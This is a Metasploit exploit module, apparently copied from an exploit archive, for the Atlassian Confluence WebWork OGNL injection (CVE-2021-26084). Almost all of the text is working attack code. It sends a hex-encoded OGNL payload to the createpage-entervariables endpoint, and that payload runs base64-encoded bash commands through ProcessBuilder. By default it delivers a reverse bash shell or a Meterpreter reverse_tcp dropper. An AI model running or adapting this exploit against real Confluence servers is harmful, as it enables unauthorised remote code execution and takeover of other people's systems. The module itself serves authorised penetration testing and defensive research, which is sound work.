Exploit for Atlassian Confluence WebWork OGNL Injection CVE-2021-26084

## https://sploitus.com/exploit?id=PACKETSTORM:164122
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence WebWork OGNL Injection',  
'Description' => %q{  
This module exploits an OGNL injection in Atlassian Confluence's  
WebWork component to execute commands as the Tomcat user.  
},  
'Author' => [  
'Benny Jacob', # Discovery  
'Jang', # Analysis  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2021-26084'],  
['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],  
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],  
['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],  
['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],  
['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],  
['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']  
],  
'DisclosureDate' => '2021-08-25', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'], # TODO: Windows?  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false, # Tomcat user  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8090  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# /var/atlassian/application-data/confluence/analytics-logs/*.atlassian-analytics.log  
# /var/atlassian/application-data/confluence/logs/atlassian-confluence.log  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK # CmdStager  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
token1 = rand_text_alphanumeric(8..16)  
token2 = rand_text_alphanumeric(8..16)  
token3 = rand_text_alphanumeric(8..16)  
  
res = inject_ognl("#{token1}'+'#{token2}'+'#{token3}")  
  
return CheckCode::Unknown unless res  
  
unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}")  
return CheckCode::Safe('Failed to test OGNL injection.')  
end  
  
CheckCode::Vulnerable('Successfully tested OGNL injection.')  
end  
  
def exploit  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
res = inject_ognl(ognl_payload(cmd))  
  
unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)  
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")  
end  
  
vprint_good("Successfully executed command: #{cmd}")  
end  
  
def inject_ognl(ognl)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'),  
'vars_post' => {  
# https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html  
# https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341  
'queryString' => Rex::Text.to_hex(ognl, '\\u00')  
}  
)  
end  
  
def ognl_payload(cmd)  
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution  
# https://www.tutorialspoint.com/java/lang/class_forname_loader.htm  
# https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html  
# https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html  
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')  
'+Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval('  
new java.lang.ProcessBuilder(  
"/bin/bash",  
"-c",  
new java.lang.String(  
java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")  
)  
).start()  
')+'  
OGNL  
end  
  
end